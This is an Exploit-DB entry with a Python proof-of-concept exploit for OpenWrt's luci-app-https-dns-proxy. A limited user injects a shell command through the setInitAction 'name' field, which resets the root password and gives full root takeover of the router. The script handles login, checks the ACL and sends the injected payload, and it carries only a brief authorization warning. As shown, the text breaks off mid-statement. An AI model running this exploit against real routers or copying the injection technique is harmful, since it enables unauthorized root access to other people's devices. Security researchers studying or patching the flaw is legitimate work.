Exploit-DB #52521
Description: OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)
Type: local
Platform: multiple
Date: 2026-04-29
Author: Ahmet Mersin

Exploit:
# Exploit Title: OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)
# Date: 2026-01-17
# Exploit Author: Ahmet Mersin
# Vendor Homepage: https://github.com/stangri/luci-app-https-dns-proxy
# Software Link: https://github.com/stangri/luci-app-https-dns-proxy
# Version: All versions prior to 2026-01-17
# Tested on: OpenWrt 23.05
# CVE : Pending

"""
OpenWrt luci-app-https-dns-proxy Root Takeover Exploit
CVE-202X-XXXXX - Local Privilege Escalation via Command Injection


import requests
import sys
import getpass

def banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
║   OpenWrt https-dns-proxy Root Takeover Exploit               ║
║   CVE-202X-XXXXX | Privilege Escalation via Command Injection ║
║                                                               ║
║   Developed by: ahmetmersin.com                               ║
╚═══════════════════════════════════════════════════════════════╝
    """)

def get_user_input():
    print("[*] Target Router Information:")
    target_ip = input("    Router IP [192.168.1.1]: ").strip() or "192.168.1.1"
    
    print("\n[*] Limited User Credentials (user with https-dns-proxy ACL):")
    username = input("    Username: ").strip()
    if not username:
        print("[-] Username cannot be empty!")
        sys.exit(1)
    [CREDENTIAL_REDACTED].getpass("    Password: ")
    if not password:
        print("[-] Password cannot be empty!")
        sys.exit(1)
    
    print("\n[*] New Root Password:")
    new_root_pass = getpass.getpass("    Enter new root password: ")
    if not new_root_pass:
        print("[-] Password cannot be empty!")
        sys.exit(1)
    
    confirm_pass = getpass.getpass("    Confirm new root password: ")
    
    if new_root_pass != confirm_pass:
        print("\n[-] Passwords do not match!")
        sys.exit(1)
    
    return target_ip, username, password, new_root_pass

def login(target_ip, username, password):
    print(f"\n[*] Authenticating as '{username}'...")
    endpoint = f"http://{target_ip}/ubus"
    
    payload = {
        "jsonrpc": "2.0", "id": 1, "method": "call",
        "params": [
            "[PII_REDACTED][PII_REDACTED][PII_REDACTED]00", 
            "session", "login", 
            {"username": username, "password": password}
        ]
    }
    
    try:
        r = requests.post(endpoint, json=payload, timeout=10)
        response = r.json()
        
        if "result" in response and response["result"] and len(response["result"]) > 1:
            result = response["result"][1]
            if "ubus_rpc_session" in result:
                token = result["ubus_rpc_session"]
                print(f"[+] Login successful! Session token: {token[:16]}...")
                
                # Check if user has the vulnerable permission
                acls = result.get("acls", {}).get("ubus", {})
                if "luci.https-dns-proxy" in acls:
                    if "setInitAction" in acls["luci.https-dns-proxy"]:
                        print(f"[+] User has access to vulnerable function!")
                        return token, endpoint
                
                print("[-] User does not have 'setInitAction' permission!")
                return None, None
        
        print(f"[-] Login failed: {response}")
        return None, None
        
    except requests.exceptions.ConnectionError:
        print(f"[-] Connection error: Cannot reach {target_ip}")
        return None, None
    except Exception as e:
        print(f"[-] Error: {e}")
        return None, None

def change_root_password(endpoint, session_id, new_password):
    print(f"\n[*] Changing root password...")
    
    # Payload: Use passwd with printf to change root password
    malicious_name = f"x; printf '{new_password}\\n{new_password}\\n' | passwd root; echo done >"
    
    payload = {
        "jsonrpc": "2.0", "id": 666, "method": "call",
        "params": [
            session_id,
            "luci.https-dns-proxy",
            "setInitAction",
            {"name": malicious_name, "action": "start"}
        ]
    }
    
    try:
        r = requests.post(endpoint, json=payload, timeout=10)
        response = r.json()
        
        print(f"[*] Response: {response}")
        
        # Check if result is True (command executed successfully)
        if "result" in response and len(response["result"]) > 1:
            result_data = response["result"][1]
            if isinstance(result_data, dict) and result_data.get("result") == True:
                print(f"\n" + "="*60)
                print(f"[+] EXPLOIT SUCCESSFUL!")
                print(f"="*60)
                ip = endpoint.split('//')[1].split('/')[0]
                print(f"\n[*] You can now login with the new root password:")
                print(f"    ssh root@{ip}")
                print(f"    Password: <your new password>")
                return True
            else:
                print(f"\n" + "="*60)
                print(f"[-] EXPLOIT FAILED - Command was blocked!")
                print(f"="*60)
                print(f"\n[!] The target may have been patched.")
                return False
        else:
            print(f"[-] Unexpected response format")
            return False
            
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def main():
    banner()
    
    print("[!] WARNING: This tool is for authorized security testing only!")
    print("[!] Unauthorized access to computer systems is illegal.\n")
    
    confirm = input("Do you have permission to test this target? [y/N]: ").strip().lower()
    if confirm != 'y':
        print("Aborted.")
        sys.exit(0)
    
    target_ip, username, password, new_root_pass = get_user_input()
    
    session_id, endpoint = login(target_ip, username, password)
    
    if session_id